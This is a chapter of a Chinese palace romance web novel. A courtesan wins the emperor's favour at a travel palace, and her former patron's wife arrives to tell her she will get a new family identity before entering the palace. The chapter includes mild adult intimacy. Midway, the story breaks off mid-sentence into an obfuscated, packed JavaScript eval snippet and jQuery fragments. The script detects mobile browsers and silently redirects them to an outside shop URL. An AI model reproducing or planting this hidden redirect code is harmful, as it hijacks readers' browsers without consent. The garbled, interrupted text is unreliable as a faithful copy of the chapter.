==第三章==
暖阳透过楹窗落下的时候,师鸢还没有清醒,她无意识地歪头,想要躲开晒人的日光,这一动,才察觉到不对劲之处。
床榻上不止她一个人。
她侧脸歪在某人的胸膛处,昨晚胡闹时,她在他身上也落下了很多或深或浅的痕迹,待看清这些时,师鸢脑海瞬间清醒过来,夜色时没觉得什么,白日中却是有些羞人,她没敢细瞧,红着脸埋首,额头恰好抵住某处红豆。
她毫无察觉,直到腰窝处被人拍了拍,他声音还有些不清醒,透着些许难以言明的倦怠:
“别闹。”
师鸢被拍得浑身一僵,她仰着脸,眼巴巴地望着人,青丝些许凌乱,白皙的脸上被蹭出一抹红,顺着脖颈一路藏到了锦被之下,春色盎然。
戚初言无声地叹了一口气,被她折腾醒了,于是掀起眼看她。
她眸中藏着春意看他,生得这般好颜色,若是个木讷的,其实也不讨喜,偏她又娇又俏,那抹春色的绯红都秾艳得惊人,一见他睁眼了,她又凑上来黏黏糊糊地亲他。
瞧着那么勾人,亲人时又很笨拙,亲得他下颌处黏糊糊的一片,亲着又拿舌尖舔着,弄得满是口水,还要特意放软了声音,柔得和水一样:
“皇上,您醒啦!”
心思好浅,讨好的意图几乎摆在明面上。
但这声音好甜,却一点也不腻人,只叫人能听出她雀跃得仿佛要飘起来了。
戚初言想笑,他也真的笑了出来,惹得女子迷惘地望了他一眼,戚初言什么也没说,低头回应了她的亲吻。
于是她安心了,眼角眉梢也透了些许得意出来。
师鸢的确很得意的,昨日来时她还有些不安,但经过一夜,这些不安也褪去了,皇上又如何呢,终归还是男人罢了,她生得这么好看,便是皇上也是要喜欢她的。
她一得意,就想要得寸进尺了。
亲吻很快被她结束,她仰着脸,一连串地喊着:
“皇上皇上,行宫好漂亮啊,皇宫也这么漂亮嘛。”
戚初言又想笑了,想知道这个小东西是怎么养成这么浅薄的心思的,瞧这话问的,拐弯抹角却又没能藏好。
这话像是笃定了他会带她回宫一样。
但是要知道,像她这般女子,便是伺候了他,也很可能不过一夜露水姻缘罢了。
可她弯着眼眸、翘着唇角在笑,那样娇,那样甜,那样鲜活明媚,她的眉目又是如此多情,仿佛她做什么都是理所当然的。
于是戚初言到了嘴边的话也就变成了:
“自然是漂亮的。”
他学着她,说着最浅显的话,她果然更高兴了,欢喜的情绪一同感染了身边的人,戚初言自醒来后,唇角都是一直勾着的。
师鸢还没消停,一双含情的眉眼直勾勾地望着戚初言,像在期待着什么,又在等待着什么。
好生会勾人。
戚初言眸底染上笑意,故意停顿了一会儿,见人快要耷拉眸眼了,才笑着说:
“到时给你安排一个更漂亮的宫殿住,可好?”
师鸢没再问了,她捂住唇偷笑,正在得意自己的机灵。
这么含蓄地一问,就得到了皇上会带她回宫的承诺,她怎么不算聪明呢。
她又黏糊地亲上来,于是接下来发生的一切也都顺理成章,在行宫不需要早朝,戚初言又一向没有顾忌,于是,这一日,戚初言在汀兰小筑一直待到了午膳后才离开。
周立明在外伺候着,听见里头传来的叫水声,实在没忍住抬头看了一眼白日的天色。
他擦了擦额头的冷汗,只能庆幸,幸好这是在宫外,不然传出皇上白日宣.淫的名声总归是不好听的。
热水被抬入了殿内,戚初言亲自抱着人进了净室,她小小软软的一个,腿勾着他的腰,手勾着他的脖颈,被他轻轻巧巧地抱起,戚初言没忍住掂了掂,狭长的眸眼轻垂,声音懒懒地笑着:
“怎得这般轻。”
她的腿勾紧了一些,仰着脸问他:“皇上不喜欢吗?”
戚初言笑得浅,话音也浅:
“养出些肉更好。”
师鸢若有所思地歪过头。
她身处梧州,这里的女子常是以柔为美,女子都会养得单薄些,腰肢堪堪一握,叫人一眼瞧去就生出怜惜,但师鸢不是那般骨感瘦弱的身材,许是她小时没吃过好东西,后来就格外贪嘴,就也养成了这一身肉包骨的匀称身材。
她自觉得没那么柔美,便常是眼角挂泪,幸亏她生得好颜色,脸也只有巴掌大小,只消轻轻蹙眉,就轻易做出一副西子捧心的可怜模样。
当时出台前,她还苦恼过,但妈妈看着她难得停顿了好久,才憋出了一句:
“你就这样,挺好的。”
师鸢瞬间放心了,她知晓自己不太聪明,但她懂得听聪明人的话。
沐浴洗漱好,师鸢换上了宫人新送来的衣裳,她瞧不出的锦缎,但穿在身上格外舒服,颜色也明亮,她站在铜镜前转了一圈,越看越喜欢,没忍住扑入一旁戚初言的怀中,将对衣裳的欢喜巧妙地换成了:
“皇上,我好喜欢你!”
这么明显,戚初言想装作看不出她的真实心思都难,一时间有点无语地笑了。
但师鸢没看出来。
她扑过戚初言,就很快退了出来,因为她饿了,昨晚忙了一夜,早膳都没吃,又胡闹了一通,她还能这么精神全靠着这一身贵重的华服撑着,她欢喜地朝外殿走去。
周立明打眼瞧着,心惊胆战地准备提醒她规矩,戚初言瞥了他一眼,周立明惊诧,忙忙低头噤声。
膳食很丰盛,黄梨木圆桌摆了满满一桌,师鸢没去数数量,沈府的日子也很富贵,但她也能感觉到两处的不同,这行宫内的衣食住行都要更精致,无一处不透着矜贵。
师鸢没忍住笑,感觉她整个人都飘了。
她又在心底感激了一番沈问筠,沈问筠真是个天大的好人。
戚初言可不知道师鸢正在感激沈问筠,午膳后,他交代了一番,就回了勤政殿。
他这趟南巡已经有了段时间,这几日就准备启程回京了,要处理的事情很多,能在师鸢这里待这么久时间已经难得的。
师鸢得知她们准备回京城时,也没觉得难过,只觉得惊喜。
她就要去往一个更富贵的地方,怎么能叫她不高兴呢?
她只抓紧时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294802|198548||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间把这行宫转了转,好不容易来一趟行宫,要是只待在汀兰小筑多可惜啊。
在行宫的几日,戚初言都是在她这里睡下的,师鸢很习惯这样,在沈府时,除了初一和十五,沈问筠都是要住在她院子中的,她一开始还有点提心吊胆,怕夫人不高兴,会给她使绊子。
但后来,她才发现夫人是顶顶和善的人,半点不觉得她霸占了沈问筠,就好像恨不得沈问筠一直歇在她那里一样。
师鸢看不懂,但知晓事情发展是对她好的,她就很高兴了,也懒得费脑子去想原因。
这一日,师鸢一如往日地送走了戚初言,又去了行宫内的温泉,她泡得浑身懒洋洋的,刚回到汀兰小筑,就得了一个叫她意外的消息——夫人居然来了。
师鸢不解,夫人怎么来了?
孙韵宁望着师鸢,见她脸色红润,一副得意欢喜的模样,也觉得松了口气。
这几日,沈府气氛其实不是那么好。
她一直都知道沈问筠喜欢师鸢,对她来说,男女情长无关紧要,她膝下有嫡子嫡女,沈问筠又肯给她嫡妻的尊重,这就够了,再说,她对沈问筠的情谊,有感激也有害怕,其余的,便也没有了。
相敬如宾罢了。
但沈问筠这几日很沉闷,叫府中气氛也不那么好,好在沈问筠最近一直休息在前院,倒是也让孙韵宁松了一口气。
也因此,她也不由得一直记挂着师鸢,担心她这么浅薄的性子会惹得圣上不悦。
但如今亲眼瞧着师鸢的状态,倒是比她想象的要好一些。
也是,师鸢虽是浅薄,但这般娇俏的性子,少有人会不喜欢她。
孙韵宁放心了一点,便提起了正事,她这次来自然是有正事的,她怕师鸢听不明白,几乎把话掰碎了说给她听,话音甫落,师鸢就满脸惊愕,声音都有些拔高:
“夫人是说,日后我和大人就是兄妹了?”
孙韵宁又有些头疼和担心了,这般直白的性子,真的能在深宫中活下去吗?
她点头应着:“是,日后你就是沈家旁支的女眷,是老爷的堂妹。”
没办法,师鸢的身份不光彩,总不能说她是烟花之地出来的,又曾是沈问筠的妾室,好在皇上看起来现在对她是有几分满意的,也肯为了她花心思,身份这么一改,她从今往后便也是官家小姐了。
沈问筠年轻有为,仕途明朗,沈家又是百年世家,自她改了姓氏,她便和沈家是一荣俱荣、一损俱损,此去深宫也再不是孑然一身。
师鸢自然算得清这笔账,她又红了眼,泪眼婆娑,声音软得一塌糊涂:
“夫人,您和大人怎么都这么好。”
她懂得感激,孙韵宁心底也熨帖,但孙韵宁也不忘记提醒她:
“也是皇上对你上心。”
若是没有皇上授意,哪怕沈问筠有这个心思,也得经过沈家的族老,等沈家深思熟虑后,有些事情恐怕都要尘埃落定了。
师鸢,从此以后,要叫沈师鸢了。
沈师鸢闻言后,便意识到了什么,她郑重地点头,表示:
“我知道了,我会好好感激皇上的。”
孙韵宁轻咳了一声,不敢想她准备怎么感激皇上。